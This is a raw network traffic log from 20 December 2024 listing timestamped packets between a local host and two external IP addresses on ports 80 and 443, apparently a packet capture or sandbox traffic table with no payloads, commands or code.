Dec 20, 2024 16:06:27.670397043 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.670411110 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.670473099 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.671310902 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.671403885 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.671437979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.671488047 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.672406912 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.672462940 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.672950983 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.673003912 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.673419952 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.673474073 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.673492908 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.673542976 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.674443007 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.674495935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.674509048 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.674560070 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.675460100 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.675518990 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.675673008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.675721884 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.676496983 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.676554918 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.676760912 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.676810980 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.677583933 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.677727938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.677791119 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.678554058 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.678719044 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.678781986 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.679574013 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.679656982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.679744959 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.679816008 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.680869102 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.680931091 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.680978060 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.681027889 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.681662083 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.681720972 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.681874037 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.681925058 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.682697058 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.682754993 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.682794094 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.682853937 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.683929920 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.683984041 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.683998108 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.684030056 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.736804008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.736884117 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.737009048 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.737073898 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.737399101 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.737458944 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.737476110 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.737531900 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.738365889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.738432884 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.738703012 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.738926888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.739381075 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.739429951 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.739737034 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.739794970 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.739852905 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.739912033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.740753889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.740809917 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.740884066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.740938902 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.741838932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.741893053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.741933107 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.741977930 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.743132114 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.743192911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.743860960 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.743912935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.743958950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.743973970 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.744004965 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.744029045 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.744980097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.745038986 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.745336056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.745388985 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.745991945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.746054888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.746201992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.746251106 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.747045040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.747117043 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.747180939 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.747243881 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.748075008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.748153925 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.748357058 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.748405933 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.749166965 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.749218941 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.749352932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.749403954 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.750309944 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.750364065 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.750574112 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.750627041 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.751174927 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.751230001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.751230955 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.751276970 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.752135038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.752191067 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.752238989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.752331972 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.753191948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.753245115 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.753278017 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.753333092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.754201889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.754256964 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.754513025 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.754566908 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.755280972 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.755331039 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.755422115 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.755471945 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.756299973 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.756351948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.756392956 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.756432056 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.757332087 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.757421970 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.757452965 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.757541895 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.758405924 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.758567095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.758618116 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.759545088 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.759598970 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.759675026 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.759722948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.802774906 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.802828074 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.802911997 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.802967072 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.803273916 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.803334951 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.803352118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.803404093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.804249048 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.804302931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.804517984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.804568052 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.805218935 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.805269003 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.805572987 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.805624962 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.805867910 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.805916071 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.806689024 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.806742907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.807697058 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.807710886 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.807751894 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.807768106 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.807835102 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.807888031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.808758020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.808820009 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.809329987 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.809386969 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.809756041 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.809771061 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.809817076 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.809920073 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.810832977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.810921907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.810957909 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.811007977 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.811798096 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.811856031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.812114000 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.812169075 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.812856913 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.812870979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:27.812910080 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:27.812923908 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:30.869273901 CET	49707	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:30.869316101 CET	443	49707	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:30.869386911 CET	49707	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:30.869947910 CET	49707	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:30.869967937 CET	443	49707	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:31.510968924 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:31.511034012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:32.369277954 CET	49711	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.369322062 CET	443	49711	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:32.369546890 CET	49711	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.370254040 CET	49711	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.370269060 CET	443	49711	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:32.422295094 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.422353029 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:32.422527075 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.422796011 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.422811985 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:32.462341070 CET	49713	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.462388039 CET	443	49713	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:32.462642908 CET	49713	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.462990999 CET	49713	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.463001966 CET	443	49713	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:32.618141890 CET	443	49707	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:32.618485928 CET	49707	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.618505001 CET	443	49707	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:32.619549990 CET	443	49707	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:32.619609118 CET	49707	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.621406078 CET	49707	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.621474028 CET	443	49707	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:32.621584892 CET	49707	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.663330078 CET	443	49707	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:32.667253017 CET	49707	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:32.667269945 CET	443	49707	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:32.714113951 CET	49707	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:33.465373993 CET	443	49707	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:33.465553045 CET	443	49707	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:33.465689898 CET	49707	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:33.469188929 CET	49707	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:33.469221115 CET	443	49707	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.080725908 CET	443	49711	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.122243881 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.133477926 CET	49711	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.164289951 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.167187929 CET	443	49713	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.212286949 CET	49713	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.260227919 CET	49713	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.260260105 CET	443	49713	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.260451078 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.260463953 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.260691881 CET	49711	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.260709047 CET	443	49711	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.261703014 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.261780977 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.261827946 CET	443	49711	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.261847019 CET	443	49711	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.261903048 CET	49711	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.263101101 CET	443	49713	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.263181925 CET	49713	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.272150993 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.272413969 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.272763968 CET	49711	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.272979021 CET	443	49711	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.273201942 CET	49713	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.273494959 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.273495913 CET	443	49713	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.273508072 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.273538113 CET	49711	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.273547888 CET	443	49711	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.322226048 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.322226048 CET	49711	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.322240114 CET	49713	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.322297096 CET	443	49713	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.369098902 CET	49713	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.958580971 CET	443	49711	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.960851908 CET	443	49711	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.960930109 CET	49711	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.961983919 CET	49711	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.962007999 CET	443	49711	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.979490042 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.979542971 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.979567051 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.979712963 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.979747057 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:34.979809046 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:34.991481066 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.003802061 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.003982067 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.004003048 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.008215904 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.008460999 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.008474112 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.022185087 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.022356033 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.022373915 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.071846962 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.098500013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:35.098836899 CET	49721	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:35.168739080 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.173835993 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.174000978 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.174027920 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.182068110 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.182178020 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.182193995 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.196255922 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.196430922 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.196450949 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.205847979 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.205907106 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.205920935 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.217968941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:35.218476057 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.218627930 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.218648911 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.218702078 CET	80	49721	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:35.218784094 CET	49721	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:35.219189882 CET	49721	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:35.233158112 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.233428955 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.233443975 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.246882915 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.247267008 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.247283936 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.260653019 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.260730982 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.260746002 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.269675970 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.269779921 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.269795895 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.289326906 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.289469004 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.289500952 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.297539949 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.297624111 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.297637939 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.337954044 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.340473890 CET	80	49721	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:35.359920979 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.363781929 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.363856077 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.363882065 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.374494076 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.374600887 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.374622107 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.381843090 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.381874084 CET	443	49712	172.217.19.164	192.168.2.5
Dec 20, 2024 16:06:35.381980896 CET	49712	443	192.168.2.5	172.217.19.164
Dec 20, 2024 16:06:35.382000923 CET	443	49712	172.217.19.164	192.168.2.5
